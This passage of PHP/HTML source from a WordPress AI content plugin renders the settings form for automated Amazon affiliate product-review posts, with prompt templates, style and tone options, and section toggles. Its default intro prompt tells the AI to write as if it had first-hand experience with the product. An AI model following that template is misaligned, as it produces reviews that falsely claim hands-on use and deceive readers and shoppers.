(is_plugin_active('aiomatic-extension-amazon-api/aiomatic-extension-amazon-api.php')) { $amaz_ext_active = true; } if(isset($aiomatic_Main_Settings['amazon_app_id']) && trim($aiomatic_Main_Settings['amazon_app_id']) != '' && isset($aiomatic_Main_Settings['amazon_app_secret']) && trim($aiomatic_Main_Settings['amazon_app_secret']) != '' && $amaz_ext_active == true) { echo '<br/><br/>' . esc_html__("Because you are using the 'Aiomatic Extension: Amazon API' extension, you can query Amazon API also by product categories. To do so, enter at the end of the keyword you are searching for, the category, in this format:", 'aiomatic-automatic-ai-content-writer') . '<br/><br/>' . '<b>category: HomeAndKitchen</b>' . '<br/>' . '<b>pan category: HomeAndKitchen</b>' . '<br/>' . '<b>french fries category: HomeAndKitchen</b>' . '<br/><br/>' . esc_html__("Possible category values are: ", 'aiomatic-automatic-ai-content-writer') . '<br>' . '<i>' . implode(', ', AIOMATIC_AMAZON_CATEGORIES) . '</i>' . '<br/><br/>' . esc_html__("Check valid values for your locale, here: ", 'aiomatic-automatic-ai-content-writer') . '<br/><a href="https://webservices.amazon.de/paapi5/documentation/locale-reference.html" target="_blank">Locale Reference for Product Advertising API</a>'; } else { if($amaz_ext_active == true) { echo ' ' . esc_html__("To filter products by categories, you also need to enter your Amazon API key in the Aiomatic's 'Settings', afterwards, more details will appear here about the category filtering options.", 'aiomatic-automatic-ai-content-writer'); } else { echo ' ' . esc_html__("If you activate the 'Aiomatic Extension: Amazon API' plugin, which adds support for Amazon API access to Aiomatic, and also add your Amazon API key and secret in the plugin settings, you will be able to query Amazon also by product categories. Activate the Amazon Extension plugin and more details will appear here about usage.", 'aiomatic-automatic-ai-content-writer'); } } ?> </div> </div> </th> <th> <?php echo esc_html__("Schedule", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php $unlocker = get_option('aiomatic_minute_running_unlocked', false); if($unlocker == '1') { echo esc_html__("Select the interval in minutes after which you want this rule to run. Defined in minutes.", 'aiomatic-automatic-ai-content-writer'); } else { echo esc_html__("Select the interval in hours after which you want this rule to run. Defined in hours.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> </div> </th> <th> <?php echo esc_html__("# Of Posts", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of posts that this rule can create at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("More Options", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Shows advanced settings for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Active", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable this rule? You can deactivate any rule (you don't have to delete them to deactivate them).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <br/> <input type="checkbox" onchange="thisonChangeHandler(this)" id="exclusion"> </th> <th class="cr_width_160"> <?php echo esc_html__("Info", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The number of items (posts, pages) this rule has generated so far.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_actions"> <?php echo esc_html__("Actions", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to run this rule now? Note that only one instance of a rule is allowed at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> </tr> </thead> <tbody> <?php echo aiomatic_expand_rules_review(); if(isset($_GET['aiomatic_page'])) { $current_page = $_GET['aiomatic_page']; } else { $current_page = ''; } if($current_page == '' || (is_numeric($current_page) && $current_page == $max_pages)) { ?> <tr> <td class="cr_short_td"><input type="text" name="aiomatic_review_list[rule_description][]" id="rule_description" class="cr_center" placeholder="Rule ID" value="" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_review_list[review_keyword][]" placeholder="Example: B07RZ74VLR" class="cr_width_full"></textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" name="aiomatic_review_list[schedule][]" max="8765812" class="cr_width_60" placeholder="Select the rule schedule interval" value="24"/></td> <td class="cr_comm_td"><input type="number" step="1" min="0" name="aiomatic_review_list[max][]" class="cr_width_60" placeholder="Select the # of generated posts" value="1" /></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr" value="Settings"> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id" name="aiomatic_review_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected('');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Amazon Search Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Amazon Associate ID (Optional). Learn how to get one <a href='%s' target='_blank'>here</a>. Also, you need to sign up for Amazon Affiliate program <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html', 'https://affiliate-program.amazon.com/assoc_credentials/home' ); ?> </div> </div> <b><?php echo esc_html__("Amazon Associate ID (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_review_list[affiliate_id][]" value="" placeholder="Please insert your Amazon Affiliate ID" class="cr_width_full"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the country where you have registred your affiliate account.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Amazon Target Country:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="source" name="aiomatic_review_list[target_country][]" class="cr_width_full"> <?php $amaz_countries = aiomatic_get_amazon_codes(); foreach ($amaz_countries as $key => $value) { echo '<option value="' . esc_html($key) . '">' . esc_html($value) . '</option>'; } ?> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Writer Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Sections List (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[post_sections_list][]" placeholder="Post sections list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Content Sections To Generate:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="section_count" name="aiomatic_review_list[section_count][]" placeholder="3-4" class="cr_width_full" value="3-4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with product titles in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Headings To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_review_list[sections_role][]"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count" name="aiomatic_review_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="2"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add the product image to the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Product Images To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_images" name="aiomatic_review_list[topic_images][]" checked> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you don't want to add the product links directly to headings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Add Product Links to Headings:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_headlink" name="aiomatic_review_list[no_headlink][]"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you would like to add a relevant YouTube video to the end of the created article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add A Relevant YouTube Video To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_videos" name="aiomatic_review_list[topic_videos][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_review_list[title_outro][]" value="{Experience the Difference|Unlock Your Potential|Elevate Your Lifestyle|Embrace a New Era|Seize the Opportunity|Discover the Power|Transform Your World|Unleash Your True Potential|Embody Excellence|Achieve New Heights|Experience Innovation|Ignite Your Passion|Reveal the Extraordinary}" placeholder="Optional" class="cr_width_full"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Table Of Contents':", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc" name="aiomatic_review_list[enable_toc][]"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Table Of Contents' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="aiomatic_review_list[title_toc][]" value="Table of Contents" placeholder="Table of Contents" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Customer Reviews Analysis section to the created post. To enable Customer Reviews Analysis for articles, be sure to add a prompt also in the 'Article Customer Reviews Analysis Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Customer Reviews Analysis' Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_reviews" name="aiomatic_review_list[enable_reviews][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Customer Reviews Analysis section header. Default is: Customer Reviews Analysis", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Customer Reviews Analysis' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_review_list[title_reviews][]" value="Customer Reviews Analysis" placeholder="Customer Reviews Analysis" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Pros & Cons section to the created post. To enable Pros & Cons for articles, be sure to add a prompt also in the 'Article Pros & Cons Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Pros & Cons' Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_proscons" name="aiomatic_review_list[enable_proscons][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Pros & Cons section header. Default is: Pros & Cons", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Pros & Cons' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_review_list[title_proscons][]" value="Pros & Cons" placeholder="Pros & Cons" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Q&A' Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa" name="aiomatic_review_list[enable_qa][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Q&A' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_review_list[title_qa][]" value="Q&A" placeholder="Q&A" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language" name="aiomatic_review_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="English"/> <datalist id="languages"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style" name="aiomatic_review_list[writing_style][]" type="text" placeholder="Created content writing style" list="writing_styles" class="coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone" name="aiomatic_review_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the point of view of the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Point Of View:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="point_of_view" name="aiomatic_review_list[point_of_view][]"> <option value="First Person Singular (I, me, my, mine)"><?php echo esc_html__("First Person Singular (I, me, my, mine)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="First Person Plural (we, us, our, ours)" selected><?php echo esc_html__("First Person Plural (we, us, our, ours)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Second Person Singular (you, your, yours)"><?php echo esc_html__("Second Person Singular (you, your, yours)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Second Person Plural (you [plural], y'all, you guys)"><?php echo esc_html__("Second Person Plural (you [plural], y'all, you guys)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Third Person Singular (he, she, it)"><?php echo esc_html__("Third Person Singular (he, she, it)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Third Person Plural (they, them, theirs, themselves)"><?php echo esc_html__("Third Person Plural (they, them, theirs, themselves)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">Write a title for a product review blog post of the following product: "%%product_title%%", in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Point of View: %%point_of_view%%. The title must be between 40 and 60 characters. The description of the product is: "%%product_description%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model" name="aiomatic_review_list[topic_title_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">Write an introduction for a product review blog post of the following product: "%%product_title%%". The post is reviewing the product "%%product_title%%", in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Point of View: %%point_of_view%%. Write as if you had first-hand experience with the product you are describing. The description of the product is: "%%product_description%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select 